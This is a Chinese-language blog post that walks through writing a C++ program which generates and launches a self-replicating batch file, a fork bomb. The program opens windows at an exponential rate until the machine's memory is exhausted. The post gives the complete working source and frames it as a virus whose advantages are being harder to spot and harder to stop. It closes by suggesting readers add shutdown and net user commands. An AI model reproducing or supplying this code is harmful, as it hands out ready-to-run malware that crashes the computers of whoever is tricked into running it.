相信大家都玩过这样的一个批处理代码吧
:1
start cmd
goto 1
把这些代码复制去一个txt文件,然后更改后缀为.bat 或.cmd,就可以实现弹窗炸弹
但是,作为一个病毒,这个简单恶搞代码有着致命缺陷
1.可以直接改后缀轻松识破,很难掩藏
2.杀伤力不足,可以手动“关闭全部窗口”轻松杀死
于是,我想了个简单方法来处理这两个问题
1.system函数
知周所众,C++中有一个很方便的函数就做system(),可以调用控制台命令
需要头文件stdlib.h
#include<bits/stdc++.h> // 其实万能头文件里包含了stdlib.h
#include<stdlib.h>//但是还是写一遍
using namespace std;
int main(){
system(" ");
}
2.freopen
文件读写操作,可以用它生成一个out文件
freopen("11.out","w",stdout);
其中11.out是文件名,w的意思是写入,stdout是标准输出流,你cout的东西就会被输出到11.out中
然后再输入代码
cout << " ";
fclose关闭文件
fclose(stdout);
ren命令改变文件名
system("ren 11.out 11.bat");
然后,重点来了
2.核心
小病毒的核心就是使用C++生成一个bat文件(因为bat文件打开速度贼快,可以高速卡内存)然后里面写一个循环,并且不断自我调用(有点递归的感觉了lol)
cout << ":1\nstart 11.bat\ngoto 1"
(\n:换行)
相比开头的小代码,看上去有点多次一举是吧?
但是,这个内核生成窗口(弹窗轰炸)的速度是指数级增长的,因为它开启的文件会继续打开自己,同时它本身也在不断开启自己
本人实测,16gb的内存条几秒钟就可以卡掉
最后,上完整版代码
#include<bits/stdc++.h>
using namespace std;
int main(){
freopen("11.out","w",stdout);
cout << ":1 \n start 11.bat \n goto 1";
fclose(stdout);
system("ren 11.out 11.bat");
system("start 11.bat");
}
学完这些后,你还可以自自行发挥批处理知识写一写其它的东西,什么shutdown啊netuser啊,这里不作赘述
后来我才知道可以直接文件读写进bat,但是不想改了

这篇博客介绍如何使用C++编写一个简单的病毒程序,通过system()函数调用控制台命令和freopen()进行文件操作,生成自我调用的.bat文件实现窗口弹窗的指数级增长,达到内存卡顿的效果。作者强调这是一个教学示例,探讨了病毒程序的基本原理。
1万+

被折叠的 条评论
为什么被折叠?



